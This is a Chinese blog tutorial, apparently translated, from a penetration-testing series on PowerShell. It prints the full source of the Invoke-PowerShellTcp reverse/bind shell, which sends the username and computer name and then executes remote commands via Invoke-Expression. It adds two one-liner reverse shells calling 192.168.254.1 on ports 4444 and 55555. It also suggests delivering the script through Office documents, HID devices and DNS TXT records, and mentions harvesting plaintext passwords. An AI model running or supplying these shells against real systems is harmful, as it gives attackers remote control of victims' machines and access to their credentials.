一周PowerShell脚本Day 1:TCP交互式PowerShell脚本

  • A+
所属分类:安全工具

一周PowerShell脚本Day 1:TCP交互式PowerShell脚本

PowerShell作为渗透测试人员的常用工具这里在无需过多介绍。随着Windows系统的紧密集成,这就允许我们做各种有趣的事情,其他使用PowerShell的黑客和我都花了很多时间在PowerShell编程上面。


但在我的讲座和培训期间,我发现很多的黑客和防御者都不知道PowerShell能做什么以及PowerShell是多么的方便。同时我也遇到了很多同行对PowerShell不屑一顾,只因为其来自于微软。为了在业内培养和传播PowerShell,我决定开始一周PowerShell脚本的教程。

  1. 第一天 - TCP交互式PowerShell脚本

  2. 第二天 - UDP交互式PowerShell脚本 

  3. 第三天 - HTTP/HTTPS交互式PowerShell脚本 

  4. 第四天 - WMI交互式PowerShell脚本 

  5. 第五天 - ICMP和DNS交互式PowerShell脚本

不多说,开始第一天的课程吧。

第一天:TCP交互式PowerShell脚本

让我们从一个反向shell开始。这个极棒的脚本是由Ben Turner(@benpturner)和Dave Hardy(@davehardy20)提交的。具体如何通过metasploit来使用这段脚本他们的文章有具体描述。在去除那段脚本中一些代码并修改其他若干东西后,就是我所提供的Invoke-PowerShellTcp。这个脚本可以提供主动或者被动连接的PowerShell。当前源码如下(不包含帮助文档):

  1. function Invoke-PowerShellTcp 

  2.  

  3.     [CmdletBinding(DefaultParameterSetName="reverse")] Param(

  4.  

  5.         [Parameter(Position = 0Mandatory = $true, ParameterSetName="reverse")]

  6.         [Parameter(Position = 0Mandatory = $false, ParameterSetName="bind")]

  7.         [String]

  8.         $IPAddress,        [Parameter(Position = 1Mandatory = $true, ParameterSetName="reverse")]

  9.         [Parameter(Position = 1Mandatory = $true, ParameterSetName="bind")]

  10.         [Int]

  11.         $Port,        [Parameter(ParameterSetName="reverse")]

  12.         [Switch]

  13.         $Reverse,        [Parameter(ParameterSetName="bind")]

  14.         [Switch]

  15.         $Bind

  16.  

  17.     )

  18.  

  19.     #Connect back if the reverse switch is used.

  20.     if ($Reverse)

  21.     {

  22.         $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)

  23.     }

  24.  

  25.     #Bind to the provided port if Bind switch is used.

  26.     if ($Bind)

  27.     {

  28.         $listener = [System.Net.Sockets.TcpListener]$Port

  29.         $listener.start()    

  30.         $client = $listener.AcceptTcpClient()

  31.     } 

  32.  

  33.     $stream = $client.GetStream()

  34.     [byte[]]$bytes = 0..255|%{0}

  35.  

  36.     #Send back current username and computername

  37.     $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")

  38.     $stream.Write($sendbytes,0,$sendbytes.Length)

  39.  

  40.     #Show an interactive PowerShell prompt

  41.     $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')

  42.     $stream.Write($sendbytes,0,$sendbytes.Length)

  43.  

  44.     while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)

  45.     {

  46.         $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding        $data = $EncodedText.GetString($bytes,0, $i)

  47.  

  48.         #Execute the command on the target.

  49.         $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )

  50.  

  51.         $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '

  52.         $x = ($error[0] | Out-String)

  53.         $error.clear()

  54.         $sendback2 = $sendback2 + $x

  55.  

  56.         #Return the results

  57.         $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)

  58.         $stream.Write($sendbyte,0,$sendbyte.Length)

  59.         $stream.Flush()  

  60.     }

  61.     $client.Close()

  62.     $listener.Stop()}

你可以在Nishang的Shells目录下找到:https://github.com/samratashok/nishang/tree/master/Shells


下面截图展示在Kali Linux上面运行一个监听:


一周PowerShell脚本Day 1:TCP交互式PowerShell脚本


一周PowerShell脚本Day 1:TCP交互式PowerShell脚本


在Windows的机器上同样可以运行一个监听,使用powercat即可:


一周PowerShell脚本Day 1:TCP交互式PowerShell脚本


一周PowerShell脚本Day 1:TCP交互式PowerShell脚本


使用Invoke-PowerShellTcp进行主动连接:


一周PowerShell脚本Day 1:TCP交互式PowerShell脚本


一周PowerShell脚本Day 1:TCP交互式PowerShell脚本


使用交互式PowerShell可以在很多场合下帮助我们解决问题。一个很好的例子就是,在Windows8.1和Server 2012上面获取用户明文密码。这种情况下,我们必须要使用交互式的PowerShell。


注意,我们同样可以使用powercat。

一周PowerShell脚本Day 1:TCP交互式PowerShell脚本

一周PowerShell脚本Day 1:TCP交互式PowerShell脚本



具体选择使用哪个监听取决于你的情况。


如果你有仔细看过Invoke-PowerShellTcp的源码,你会发现源码还算比较短的,因此可以配合其他多种攻击技术使用,例如:配合微软MS Office文档 个性化界面设备(参见Kautilya)、需要下载的设备和DNS TXT记录等使用。在这些场景中使用一个短小的脚本都是不错的选择。事实上,如果去除错误处理以及格式化的用户输入代码,它还能变的更短。就是下面这段Invoke-PowerShellTcpOneLine:

  1. $client = New-Object System.Net.Sockets.TCPClient("192.168.254.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

如果不需要显示输出,那么脚本还可以更短,差不多跟两条微博一样长:

  1. #$sm=(New-Object Net.Sockets.TCPClient("192.168.254.1",55555)).GetStream();[byte[]]$bt=0..255|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}


一周PowerShell脚本Day 1:TCP交互式PowerShell脚本

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: